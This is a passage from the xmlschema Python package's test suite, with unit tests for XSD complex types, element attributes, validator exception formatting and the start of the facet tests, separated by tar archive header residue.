self.assertFalse(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'empty') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType" mixed="false"> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertFalse(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'empty') self.assertFalse(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'element-only') def test_element_only_content_extension(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="baseType" mixed="false"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="baseType"/> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertFalse(schema.types['baseType'].mixed) self.assertEqual(schema.types['baseType'].content_type_label, 'element-only') self.assertFalse(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'element-only') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid schema: the derived type adds mixed content --> <xs:complexType name="baseType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType" mixed="true"> <xs:complexContent> <xs:extension base="baseType"> <xs:sequence> <xs:element name="elem2"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid schema: the derived type adds mixed content --> <xs:complexType name="baseType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:complexType> <xs:complexType name="derivedType" mixed="true"> <xs:complexContent> <xs:extension base="baseType"/> </xs:complexContent> </xs:complexType> </xs:schema>""")) def test_any_type_extension(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="xs:anyType"/> </xs:complexContent> </xs:complexType> </xs:schema>""")) self.assertTrue(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') xsd_source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="derivedType"> <xs:complexContent mixed="true"> <xs:extension base="xs:anyType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""") if self.schema_class.XSD_VERSION == '1.0': with self.assertRaises(XMLSchemaModelError): self.schema_class(xsd_source) else: schema = self.schema_class(xsd_source) self.assertTrue(schema.types['derivedType'].mixed) self.assertEqual(schema.types['derivedType'].content_type_label, 'mixed') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <!-- Invalid schema: derived type content is element-only --> <xs:complexType name="derivedType"> <xs:complexContent> <xs:extension base="xs:anyType"> <xs:sequence> <xs:element name="elem1"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""")) def test_illegal_restriction__issue_425(self): schema_source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1"/> <xs:element name="elem2"/> <xs:element name="elem3"/> <xs:element name="elem4" substitutionGroup="elem3"/> <xs:attribute name="a" type="xs:string"/> <xs:complexType name="baseType"> <xs:sequence> <xs:element ref="elem1" minOccurs="0" maxOccurs="unbounded"/> <xs:element ref="elem2" minOccurs="0"/> <xs:element ref="elem3" maxOccurs="unbounded"/> </xs:sequence> <xs:attribute ref="a" use="required"/> </xs:complexType> <xs:complexType name="derivedType"> <xs:complexContent> <xs:restriction base="baseType"> <xs:sequence> <xs:element ref="elem1" minOccurs="0" maxOccurs="unbounded"/> <xs:element ref="elem4"/> </xs:sequence> <xs:attribute ref="a" use="required"/> </xs:restriction> </xs:complexContent> </xs:complexType> </xs:schema>""") if self.schema_class.XSD_VERSION == '1.0': with self.assertRaises(XMLSchemaParseError): self.schema_class(schema_source) else: schema = self.schema_class(schema_source) self.assertIsInstance(schema, XMLSchema11) class TestXsd11ComplexType(TestXsdComplexType): schema_class = XMLSchema11 def test_complex_type_assertion(self): schema = self.check_schema(""" <xs:complexType name="intRange"> <xs:attribute name="min" type="xs:int"/> <xs:attribute name="max" type="xs:int"/> <xs:assert test="@min le @max"/> </xs:complexType>""") xsd_type = schema.types['intRange'] xsd_type.decode(Element('a', attrib={'min': '10', 'max': '19'})) self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '10', 'max': '19'}))) self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '19', 'max': '19'}))) self.assertFalse(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '19'}))) # doesn't set a type if it's based on a dummy element self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '100'}))) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="intRange"> <xs:attribute name="min" type="xs:int"/> <xs:attribute name="max" type="xs:int"/> <xs:assert test="@min le @max"/> </xs:complexType> <xs:element name="a" type="intRange"/> </xs:schema>""")) xsd_type = schema.types['intRange'] xsd_type.decode(Element('a', attrib={'min': '10', 'max': '19'})) self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '10', 'max': '19'}))) self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '19', 'max': '19'}))) self.assertFalse(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '19'}))) # doesn't set a type if it's based on a dummy element (TODO: add dummy element to maps? self.assertTrue(xsd_type.is_valid(Element('a', attrib={'min': '25', 'max': '100'}))) xsd_element = schema.elements['a'] xsd_element.decode(Element('a', attrib={'min': '10', 'max': '19'})) self.assertTrue(xsd_element.is_valid(Element('a', attrib={'min': '10', 'max': '19'}))) self.assertTrue(xsd_element.is_valid(Element('a', attrib={'min': '19', 'max': '19'}))) self.assertFalse(xsd_element.is_valid(Element('a', attrib={'min': '25', 'max': '19'}))) self.assertTrue(xsd_element.is_valid(Element('a', attrib={'min': '25', 'max': '100'}))) def test_rooted_expression_in_assertion__issue_386(self): # absolute expression in assertion xsd_file = self.casepath('issues/issue_386/issue_386.xsd') with warnings.catch_warnings(record=True) as ctx: self.schema_class(xsd_file) schema = self.schema_class(xsd_file) self.assertEqual(len(ctx), 1, "Expected two assert warnings") self.assertIn("absolute location path", str(ctx[0].message)) xml_file = self.casepath('issues/issue_386/issue_386-1.xml') self.assertFalse(schema.is_valid(xml_file)) xml_file = self.casepath('issues/issue_386/issue_386-2.xml') self.assertFalse(schema.is_valid(xml_file)) # relative path in assertion xsd_file = self.casepath('issues/issue_386/issue_386-2.xsd') schema = XMLSchema11(xsd_file) xml_file = self.casepath('issues/issue_386/issue_386-1.xml') self.assertTrue(schema.is_valid(xml_file)) xml_file = self.casepath('issues/issue_386/issue_386-2.xml') self.assertFalse(schema.is_valid(xml_file)) def test_sequence_extension(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="base"> <xs:openContent mode="suffix"> <xs:any namespace="tns1" processContents="lax"/> </xs:openContent> <xs:sequence> <xs:element name="a" maxOccurs="unbounded"/> <xs:element name="b" minOccurs="0"/> <xs:element name="c" minOccurs="0"/> </xs:sequence> </xs:complexType> <xs:complexType name="ext"> <xs:complexContent> <xs:extension base="base"> <xs:sequence> <xs:element name="d" minOccurs="0"/> </xs:sequence> </xs:extension> </xs:complexContent> </xs:complexType> </xs:schema>""") base_group = schema.types['base'].content self.assertEqual(base_group.model, 'sequence') self.assertEqual(base_group[0].name, 'a') self.assertEqual(base_group[1].name, 'b') self.assertEqual(base_group[2].name, 'c') self.assertEqual(len(base_group), 3) ext_group = schema.types['ext'].content self.assertEqual(ext_group.model, 'sequence') self.assertEqual(len(ext_group), 2) self.assertEqual(ext_group[0].model, 'sequence') self.assertEqual(ext_group[1].model, 'sequence') self.assertEqual(ext_group[0][0].name, 'a') self.assertEqual(ext_group[0][1].name, 'b') self.assertEqual(ext_group[0][2].name, 'c') self.assertEqual(len(ext_group[0]), 3) self.assertEqual(ext_group[1][0].name, 'd') self.assertEqual(len(ext_group[1]), 1) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD complex types') ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_elements.py���������������������������������������������������0000664�0000000�0000000�00000010216�15020401055�0022224�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import pathlib from xmlschema import XMLSchemaParseError from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase class TestXsdElements(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_element_ref(self): schema = self.check_schema(""" <xs:element name="node" type="xs:string"/> <xs:group name="group"> <xs:sequence> <xs:element ref="node"/> </xs:sequence> </xs:group>""") self.assertIs(schema.elements['node'].type, schema.groups['group'][0].type) self.check_schema(""" <xs:element name="node" type="xs:string"/> <xs:group name="group"> <xs:sequence> <xs:element ref="unknown"/> </xs:sequence> </xs:group>""", XMLSchemaParseError) self.check_schema(""" <xs:element name="node" type="xs:string"/> <xs:group name="group"> <xs:sequence> <xs:element ref="node" default="foo"/> </xs:sequence> </xs:group>""", XMLSchemaParseError) def test_name_attribute(self): schema = self.check_schema(""" <xs:group name="group"> <xs:sequence> <xs:element/> </xs:sequence> </xs:group>""", validation='lax') self.assertEqual(len(schema.all_errors), 1) def test_form_attribute(self): schema = self.check_schema(""" <xs:group name="group"> <xs:sequence> <xs:element name="elem1" form="qualified"/> <xs:element name="elem2" form="unqualified"/> </xs:sequence> </xs:group>""") self.assertTrue(schema.groups['group'][0].qualified) self.assertFalse(schema.groups['group'][1].qualified) def test_nillable_attribute(self): schema = self.check_schema(""" <xs:group name="group"> <xs:sequence> <xs:element name="elem1" nillable=" true "/> <xs:element name="elem2" nillable=" false "/> <xs:element name="elem3" nillable=" True "/> </xs:sequence> </xs:group>""", validation='lax') self.assertTrue(schema.groups['group'][0].nillable) self.assertFalse(schema.groups['group'][1].nillable) self.assertFalse(schema.groups['group'][2].nillable) self.assertEqual(len(schema.all_errors), 1) self.assertIn("'True' is not a boolean value", schema.all_errors[0].message) def test_scope_property(self): schema = self.check_schema(""" <xs:element name="global_elem" type="xs:string"/> <xs:group name="group"> <xs:sequence> <xs:element name="local_elem" type="xs:string"/> </xs:sequence> </xs:group> """) self.assertEqual(schema.elements['global_elem'].scope, 'global') self.assertEqual(schema.groups['group'][0].scope, 'local') def test_value_constraint_property(self): schema = self.check_schema(""" <xs:group name="group"> <xs:sequence> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:string" default="alpha"/> <xs:element name="elem3" type="xs:string" default="beta"/> </xs:sequence> </xs:group> """) model_group = schema.groups['group'] self.assertIsNone(model_group[0].value_constraint) self.assertEqual(model_group[1].value_constraint, 'alpha') self.assertEqual(model_group[2].value_constraint, 'beta') class TestXsd11Elements(TestXsdElements): schema_class = XMLSchema11 if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD elements') ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_exceptions.py�������������������������������������������������0000664�0000000�0000000�00000044346�15020401055�0022604�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest import os import io import pathlib from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema import XMLSchema, XMLResource, iter_errors from xmlschema.utils.etree import is_etree_element from xmlschema.validators.exceptions import XMLSchemaValidatorError, \ XMLSchemaNotBuiltError, XMLSchemaParseError, XMLSchemaModelDepthError, \ XMLSchemaValidationError, XMLSchemaDecodeError, XMLSchemaEncodeError, \ XMLSchemaChildrenValidationError CASES_DIR = pathlib.Path(__file__).parent.joinpath('../test_cases') class TestValidatorExceptions(unittest.TestCase): @classmethod def setUpClass(cls): cls.schema = XMLSchema(CASES_DIR.joinpath('examples/vehicles/vehicles.xsd')) def test_exception_init(self): with self.assertRaises(ValueError) as ctx: XMLSchemaValidatorError(self.schema, 'unknown error', elem='wrong') # noqa self.assertIn("'elem' attribute requires an Element", str(ctx.exception)) error = XMLSchemaNotBuiltError(self.schema, 'schema not built!') self.assertEqual(error.message, 'schema not built!') schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="group1"> <xs:choice> <xs:element name="root" type="xs:integer"/> </xs:choice> </xs:group> </xs:schema>""") error = XMLSchemaModelDepthError(schema.groups['group1']) self.assertEqual("maximum model recursion depth exceeded", error.message[:38]) def test_validator_error_repr(self): xs = self.schema error = XMLSchemaValidatorError(xs, 'unknown error') chunks = str(error).split('\n') self.assertEqual('unknown error:', chunks[0].strip()) self.assertEqual(error.get_elem_as_string(indent=' '), ' None') error = XMLSchemaValidatorError(xs, 'unknown error', elem=xs.root) output = str(error) lines = output.split('\n') self.assertGreater(len(lines), 10, msg=output) self.assertEqual(lines[0], 'unknown error:', msg=output) self.assertEqual(lines[2], 'Schema component:', msg=output) self.assertRegex(lines[4].strip(), '^<(xs:)?schema ', msg=output) self.assertRegex(lines[-4].strip(), '</(xs:|xsd:)?schema>$', msg=output) error = XMLSchemaValidatorError( validator=xs.elements['vehicles'], message='test error message #1', elem=xs.source.root[1], source=xs.source, namespaces=xs.namespaces, ) chunks = str(error).split('\n') self.assertEqual('test error message #1:', chunks[0].strip()) self.assertEqual('Schema component:', chunks[2].strip()) self.assertEqual('Path: /xs:schema/xs:include[2]', chunks[6].strip()) self.assertEqual('Schema URL: ' + xs.url, chunks[8].strip()) self.assertTrue(error.get_elem_as_string().startswith('<xs:include')) error = XMLSchemaValidatorError( validator=xs.elements['cars'], message='test error message #2', elem=xs.source.root[1], source=xs.source, namespaces=xs.namespaces, ) chunks = str(error).split('\n') self.assertEqual('test error message #2:', chunks[0].strip()) self.assertEqual('Schema component:', chunks[2].strip()) self.assertEqual('Path: /xs:schema/xs:include[2]', chunks[6].strip()) self.assertNotEqual('Schema URL: ' + xs.url, chunks[8].strip()) self.assertTrue(chunks[8].strip().endswith('cars.xsd')) self.assertEqual('Origin URL: ' + xs.url, chunks[10].strip()) def test_validator_error_repr_no_urls(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") error = XMLSchemaValidatorError(validator=schema, message='test error message #3') self.assertEqual(str(error), "test error message #3") self.assertIsNone(error.schema_url) self.assertIsNone(error.origin_url) self.assertEqual(str(error), error.msg) def test_parse_error(self): xs = self.schema error = XMLSchemaParseError(xs, "test parse error message #1") self.assertTrue(str(error).startswith('test parse error message #1:')) error = XMLSchemaParseError(xs.elements['vehicles'], "test parse error message #2") self.assertNotEqual(str(error), 'test parse error message #2') @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') def test_exception_repr_lxml(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") root = lxml_etree.XML('<root a="10"/>') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate(root) # noqa lines = str(ctx.exception).split('\n') self.assertEqual(lines[0], "failed validating {'a': '10'} with XsdAttributeGroup():") self.assertEqual(lines[2], "Reason: 'a' attribute not allowed for element") self.assertEqual(lines[10], "Instance (line 1):") self.assertEqual(lines[14], "Path: /root") self.assertEqual(repr(ctx.exception), "XMLSchemaValidationError(reason=\"'a' " "attribute not allowed for element\")") error = XMLSchemaValidationError(schema.elements['root'], root) self.assertIsNone(error.reason) self.assertNotIn("Reason:", str(error)) self.assertIn("Schema component:", str(error)) self.assertEqual(error.get_obj_as_string(), '<root a="10"/>') error = XMLSchemaValidationError(schema, root) self.assertNotIn("Reason:", str(error)) self.assertNotIn("Schema component:", str(error)) error = XMLSchemaValidationError(schema, 10) lines = str(error).split('\n') self.assertEqual(lines[0], "failed validating 10 with XMLSchema10(namespace=''):") self.assertEqual(lines[2], "Instance type: <class 'int'>") self.assertEqual(error.get_obj_as_string(), '10') error = XMLSchemaValidationError(schema, 'a' * 201) lines = str(error).split('\n') self.assertEqual(lines[0], "failed validating <class 'str'> instance " "with XMLSchema10(namespace=''):") self.assertEqual(lines[2], "Instance type: <class 'str'>") self.assertEqual(lines[6], ' ' + repr('a' * 201)) def test_get_obj_as_string(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") error = XMLSchemaValidationError(schema, 'alpha\n') self.assertEqual(error.get_obj_as_string(indent=' '), " 'alpha\\n'") error = XMLSchemaValidationError(schema, 'alpha\nalpha\n') self.assertEqual(error.get_obj_as_string(indent=' '), " 'alpha\\nalpha\\n'") error = XMLSchemaValidationError(schema, 'alpha\n' * 2) self.assertEqual(error.get_obj_as_string(' '), " 'alpha\\nalpha\\n'") error = XMLSchemaValidationError(schema, 'alpha\n' * 200) obj_as_string = error.get_obj_as_string(' ') self.assertTrue(obj_as_string.startswith(" ('alpha\\n'")) self.assertEqual(len(obj_as_string.splitlines()), 200) obj_as_string = error.get_obj_as_string(max_lines=20) self.assertTrue(obj_as_string.startswith("('alpha\\n'")) self.assertTrue(obj_as_string.endswith("...\n...")) self.assertEqual(len(obj_as_string.splitlines()), 20) obj_as_string = error.get_obj_as_string(indent=' ', max_lines=30) self.assertTrue(obj_as_string.startswith(" ('alpha\\n'")) self.assertTrue(obj_as_string.endswith(" ...\n ...")) self.assertEqual(len(obj_as_string.splitlines()), 30) def test_setattr(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") root = ElementTree.XML('<root a="10"/>') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate(root) self.assertIsInstance(ctx.exception.source, XMLResource) self.assertFalse(ctx.exception.source.is_lazy()) resource = XMLResource(io.StringIO('<root a="10"/>'), lazy=True) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate(resource) self.assertIsInstance(ctx.exception.source, XMLResource) self.assertTrue(ctx.exception.source.is_lazy()) self.assertIsNone(ctx.exception.elem) self.assertEqual(ctx.exception.source, resource) self.assertEqual(ctx.exception.path, '/root') @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') def test_sourceline_property(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") root = lxml_etree.XML('<root a="10"/>') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.validate(root) # noqa self.assertEqual(ctx.exception.sourceline, 1) self.assertEqual(ctx.exception.root, root) def test_other_properties(self): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') xs = XMLSchema(xsd_file) with self.assertRaises(XMLSchemaValidatorError) as ctx: raise XMLSchemaValidatorError(xs, 'unknown error') self.assertIsNone(ctx.exception.root) self.assertIsNotNone(ctx.exception.schema_url) self.assertEqual(ctx.exception.origin_url, xs.source.url) self.assertIsNone(XMLSchemaValidatorError(None, 'unknown error').origin_url) # noqa def test_decode_error(self): error = XMLSchemaDecodeError( validator=XMLSchema.meta_schema.types['int'], obj='10.0', decoder=int, reason="invalid literal for int() with base 10: '10.0'", ) self.assertIs(error.decoder, int) self.assertIn("Reason: invalid literal for int() with base 10: '10.0'", error.msg) self.assertIn('Schema component:', error.msg) def test_encode_error(self): error = XMLSchemaEncodeError( validator=XMLSchema.meta_schema.types['string'], obj=10, encoder=str, reason="10 is not an instance of <class 'str'>", ) self.assertIs(error.encoder, str) self.assertIn('Reason: 10 is not an instance of', error.msg) self.assertIn('Schema component:', error.msg) def test_children_validation_error(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="a"> <xs:complexType> <xs:sequence> <xs:element name="b1" type="xs:string"/> <xs:element name="b2" type="xs:string"/> <xs:element name="b3" type="xs:string" minOccurs="2" maxOccurs="3"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: schema.validate('<a><b1/><b2/><b3/><b3/><b3/><b3/></a>') lines = str(ctx.exception).split('\n') self.assertEqual(lines[2], "Reason: Unexpected child with tag 'b3' at position 6.") self.assertEqual(lines[-2], "Path: /a") with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: schema.validate('<a><b1/><b2/><b3/></a>') lines = str(ctx.exception).split('\n') self.assertEqual(lines[2][:51], "Reason: The content of element 'a' is not complete.") self.assertEqual(lines[-2], "Path: /a") root = ElementTree.XML('<a><b1/><b2/><b2/><b3/><b3/><b3/></a>') validator = schema.elements['a'].type.content with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: raise XMLSchemaChildrenValidationError(validator, root, 2, validator[1], 2) lines = str(ctx.exception).split('\n') self.assertTrue(lines[2].endswith("occurs 2 times but the maximum is 1.")) schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="a"> <xs:complexType> <xs:sequence> <xs:element name="b1" type="xs:string"/> <xs:any/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: schema.validate('<a><b1/></a>') lines = str(ctx.exception).split('\n') self.assertTrue(lines[2].endswith("Tag from \'##any\' namespace/s expected.")) schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="a"> <xs:complexType> <xs:sequence> <xs:element name="b1" type="xs:string"/> <xs:choice> <xs:any namespace="tns0" processContents="lax"/> <xs:element name="b2" type="xs:string"/> </xs:choice> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""") with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: schema.validate('<a><b1/></a>') lines = str(ctx.exception).split('\n') self.assertTrue(lines[2].endswith("Tag 'b2' expected.")) def test_invalid_child_property(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="a"> <xs:complexType> <xs:choice> <xs:element name="b1" type="bType"/> <xs:element name="b2" type="bType"/> </xs:choice> </xs:complexType> </xs:element> <xs:complexType name="bType"> <xs:sequence> <xs:element name="c1" type="xs:string"/> <xs:element name="c2" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:schema>""") with self.assertRaises(XMLSchemaChildrenValidationError) as ctx: schema.validate('<a><c1/></a>') lines = str(ctx.exception).split('\n') self.assertTrue(lines[2].endswith("Tag ('b1' | 'b2') expected.")) invalid_child = ctx.exception.invalid_child self.assertTrue(is_etree_element(invalid_child)) self.assertEqual(invalid_child.tag, 'c1') xml_source = '<a><b1></b1><b2><c1/><c1/></b2></a>' resource = XMLResource(xml_source) errors = list(schema.iter_errors(resource)) self.assertEqual(len(errors), 3) self.assertIsNone(errors[0].invalid_child) self.assertTrue(is_etree_element(errors[1].invalid_child)) self.assertEqual(errors[1].invalid_child.tag, 'c1') self.assertTrue(is_etree_element(errors[2].invalid_child)) self.assertEqual(errors[2].invalid_child.tag, 'b2') xml_source = '<a><b1></b1><b2><c1/><c1/></b2></a>' resource = XMLResource(xml_source, lazy=True) errors = list(schema.iter_errors(resource)) self.assertEqual(len(errors), 3) self.assertIsNone(errors[0].invalid_child) self.assertIsNone(errors[1].invalid_child) self.assertIsNone(errors[2].invalid_child) def test_validation_error_logging(self): schema = XMLSchema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:integer"/> </xs:schema>""") with self.assertLogs('xmlschema', level='DEBUG') as ctx: with self.assertRaises(XMLSchemaValidationError): schema.validate('<root/>') self.assertEqual(len(ctx.output), 0) errors = list(schema.iter_errors('<root/>')) self.assertEqual(len(errors), 1) self.assertIsInstance(errors[0], XMLSchemaDecodeError) self.assertEqual(len(ctx.output), 1) self.assertIn('Collect XMLSchemaDecodeError', ctx.output[0]) self.assertIn('with traceback:', ctx.output[0]) @unittest.skipIf(lxml_etree is None, 'lxml is not installed ...') def test_sourceline__issue_456(self): xsd_file = CASES_DIR.joinpath('examples/vehicles/vehicles.xsd') xml_file = CASES_DIR.joinpath('examples/vehicles/vehicles-2_errors.xml') schema = XMLSchema(xsd_file) root = lxml_etree.parse(xml_file).getroot() errors = [e for e in schema.iter_errors(root)] # noqa self.assertEqual(len(errors), 2) self.assertEqual(errors[0].sourceline, 4) self.assertEqual(errors[1].sourceline, 9) kwargs = dict(schema=schema, lazy=False) errors = [e for e in iter_errors(root, **kwargs)] # noqa self.assertEqual(len(errors), 2) self.assertEqual(errors[0].sourceline, 4) self.assertEqual(errors[1].sourceline, 9) kwargs = dict(iterparse=lxml_etree.iterparse, schema=schema, lazy=True) errors = [e for e in iter_errors(xml_file, **kwargs)] # noqa self.assertEqual(len(errors), 2) self.assertEqual(errors[0].sourceline, 4) self.assertEqual(errors[1].sourceline, 9) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('validator exceptions') ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_facets.py�����������������������������������������������������0000664�0000000�0000000�00000176302�15020401055�0021666�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest import decimal import pathlib from xml.etree import ElementTree from textwrap import dedent from xmlschema import XMLSchema10, XMLSchema11, XMLSchemaValidationError, \ XMLSchemaParseError from xmlschema.names import XSD_NAMESPACE, XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, \ XSD_WHITE_SPACE, XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_MAX_INCLUSIVE, \ XSD_MAX_EXCLUSIVE, XSD_TOTAL_DIGITS, XSD_FRACTION_DIGITS, XSD_ENUMERATION, \ XSD_PATTERN, XSD_ASSERTION from xmlschema.validators import XsdEnumerationFacets, XsdPatternFacets, \ XsdAssertionFacet, XsdBuilders class TestXsdFacets(unittest.TestCase): schema_class = XMLSchema10 st_xsd_file: pathlib.Path st_schema: XMLSchema10 @classmethod def setUpClass(cls): cls.st_xsd_file = pathlib.Path(__file__).absolute().parent.parent.joinpath( 'test_cases/features/decoder/simple-types.xsd' ) cls.st_schema = cls.schema_class(cls.st_xsd_file.as_uri()) def test_white_space_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:whiteSpace value="preserve"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="xs:string"> <xs:whiteSpace value="replace"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string3"> <xs:restriction base="xs:string"> <xs:whiteSpace value="collapse"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) xsd_type = schema.types['string1'] self.assertEqual(xsd_type.white_space, 'preserve') white_space_facet = xsd_type.get_facet(XSD_WHITE_SPACE) self.assertIsNone(white_space_facet(' \t alpha\n beta ')) xsd_type = schema.types['string2'] self.assertEqual(xsd_type.white_space, 'replace') white_space_facet = xsd_type.get_facet(XSD_WHITE_SPACE) self.assertIsNone(white_space_facet(' alpha beta ')) with self.assertRaises(XMLSchemaValidationError) as ec: white_space_facet(' \t alpha\n beta ') self.assertIn('Reason: value contains tabs or newlines', str(ec.exception)) xsd_type = schema.types['string3'] self.assertEqual(xsd_type.white_space, 'collapse') white_space_facet = xsd_type.get_facet(XSD_WHITE_SPACE) self.assertIsNone(white_space_facet('alpha beta')) with self.assertRaises(XMLSchemaValidationError) as ec: white_space_facet(' alpha beta ') self.assertIn('Reason: value contains non collapsed white spaces', str(ec.exception)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:whiteSpace 